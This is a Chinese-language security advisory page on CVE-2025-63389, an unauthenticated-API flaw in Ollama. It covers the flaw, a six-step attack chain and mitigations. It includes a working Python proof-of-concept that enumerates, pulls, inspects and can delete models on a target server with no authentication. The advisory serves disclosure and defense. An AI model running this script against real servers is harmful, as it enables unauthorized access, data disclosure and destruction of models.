IPBUF安全漏洞报告
English
CVE-2025-63389 CVSS 9.8 严重

CVE-2025-63389: Ollama平台API认证绕过漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63389
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ollama

相关标签

认证绕过API安全OllamaCVE-2025-63389未授权访问CVSS 9.8远程代码执行信息泄露LLM安全

漏洞概述

CVE-2025-63389是Ollama平台中发现的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于Ollama v0.12.3及之前版本中,由于平台在设计时默认不要求API认证,导致多个关键API端点完全暴露在网络中。攻击者无需任何凭据即可远程访问这些API端点,执行包括模型管理、模型下载、模型删除、容器操作等敏感功能。此漏洞的严重性在于其利用门槛极低(无需认证、无需用户交互)、攻击面广泛(网络可达即可)、影响范围大(机密性、完整性、可用性均为高影响),这使得任何能够访问Ollama服务的攻击者都可以完全控制平台的模型资源,可能导致敏感数据泄露、系统被完全接管、模型被恶意篡改或删除等严重后果。

技术细节

Ollama是一个开源的大语言模型运行框架,允许用户在本地部署和运行各种AI模型。该平台提供了丰富的RESTful API接口用于模型管理。在v0.12.3及之前版本中,这些API端点(如/api/pull、/api/push、/api/delete、/api/show等)缺少必要的身份验证机制。攻击者可以通过发送特制的HTTP请求到目标服务器的11434端口(默认端口),直接调用这些未认证的API端点。例如,使用curl或Python requests库即可远程下载任意模型(通过/api/pull接口)、删除已部署的模型(通过/api/delete接口)、获取模型信息(通过/api/show接口)等。攻击者还可以利用模型加载功能执行恶意代码,或通过API操作宿主机的容器资源。由于Ollama通常以较高权限运行,攻击成功后将获得对宿主系统的完全控制权。

攻击链分析

STEP 1
侦察阶段
攻击者通过端口扫描发现目标服务器开放11434端口(Ollama默认端口),确认目标运行Ollama服务
STEP 2
漏洞验证
攻击者访问/api/version或/api/tags端点验证服务是否可访问且无需认证
STEP 3
信息收集
通过/api/tags端点枚举所有已部署的模型,收集模型名称、大小等敏感信息
STEP 4
模型操作
利用/api/pull端点远程下载恶意或敏感模型,利用/api/delete端点删除现有模型
STEP 5
持久化控制
通过/api/create或模型加载功能在系统中植入后门或执行任意代码
STEP 6
权限提升
由于Ollama通常以root或高权限运行,攻击者获得宿主系统的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63389 PoC - Ollama Authentication Bypass # Target: Ollama API endpoints without authentication TARGET_IP = "<target_ip>" TARGET_PORT = "11434" BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def check_ollama_version(): """Check Ollama version""" try: resp = requests.get(f"{BASE_URL}/api/version", timeout=5) print(f"[*] Ollama Version: {resp.json().get('version', 'unknown')}") return True except Exception as e: print(f"[!] Failed to connect: {e}") return False def list_models(): """List all available models - No auth required""" try: resp = requests.get(f"{BASE_URL}/api/tags", timeout=5) if resp.status_code == 200: models = resp.json().get('models', []) print(f"[*] Found {len(models)} models:") for model in models: print(f" - {model.get('name')} ({model.get('size', 'unknown')} bytes)") return models except Exception as e: print(f"[!] Failed to list models: {e}") return [] def pull_model(model_name): """Pull a model from registry - No auth required""" try: print(f"[*] Pulling model: {model_name}") resp = requests.post( f"{BASE_URL}/api/pull", json={"name": model_name}, stream=True, timeout=300 ) print(f"[*] Pull response status: {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[!] Failed to pull model: {e}") return False def delete_model(model_name): """Delete a model - No auth required""" try: print(f"[*] Deleting model: {model_name}") resp = requests.delete( f"{BASE_URL}/api/delete", json={"name": model_name} ) print(f"[*] Delete response status: {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[!] Failed to delete model: {e}") return False def get_model_info(model_name): """Get model information - No auth required""" try: print(f"[*] Getting info for model: {model_name}") resp = requests.post( f"{BASE_URL}/api/show", json={"name": model_name} ) if resp.status_code == 200: print(f"[*] Model info: {json.dumps(resp.json(), indent=2)}") return resp.json() except Exception as e: print(f"[!] Failed to get model info: {e}") return None def main(): print("=" * 60) print("CVE-2025-63389 PoC - Ollama Authentication Bypass") print("=" * 60) if not check_ollama_version(): print("[!] Ollama service not accessible") return # List all models (information disclosure) print("\n[+] Step 1: Enumerate available models") models = list_models() if not models: print("[*] No models found, trying to pull one...") pull_model("llama2") list_models() # Demonstrate unauthorized model operations if models: target_model = models[0].get('name') print(f"\n[+] Step 2: Get model info (unauthorized)") get_model_info(target_model) print(f"\n[!] WARNING: Model deletion would destroy: {target_model}") print("[+] For educational purposes only - do not execute delete") if __name__ == "__main__": main()

影响范围

Ollama < v0.12.4

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)使用防火墙或安全组规则阻止外部网络对11434端口的访问;2)配置网络ACL,只允许必要的内部IP访问Ollama API;3)如果Ollama仅供本地使用,绑定到127.0.0.1而非0.0.0.0;4)实施反向代理并配置HTTP基础认证;5)监控API访问日志,查找异常的模型操作请求。同时应尽快升级到官方发布的安全补丁版本v0.12.4。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表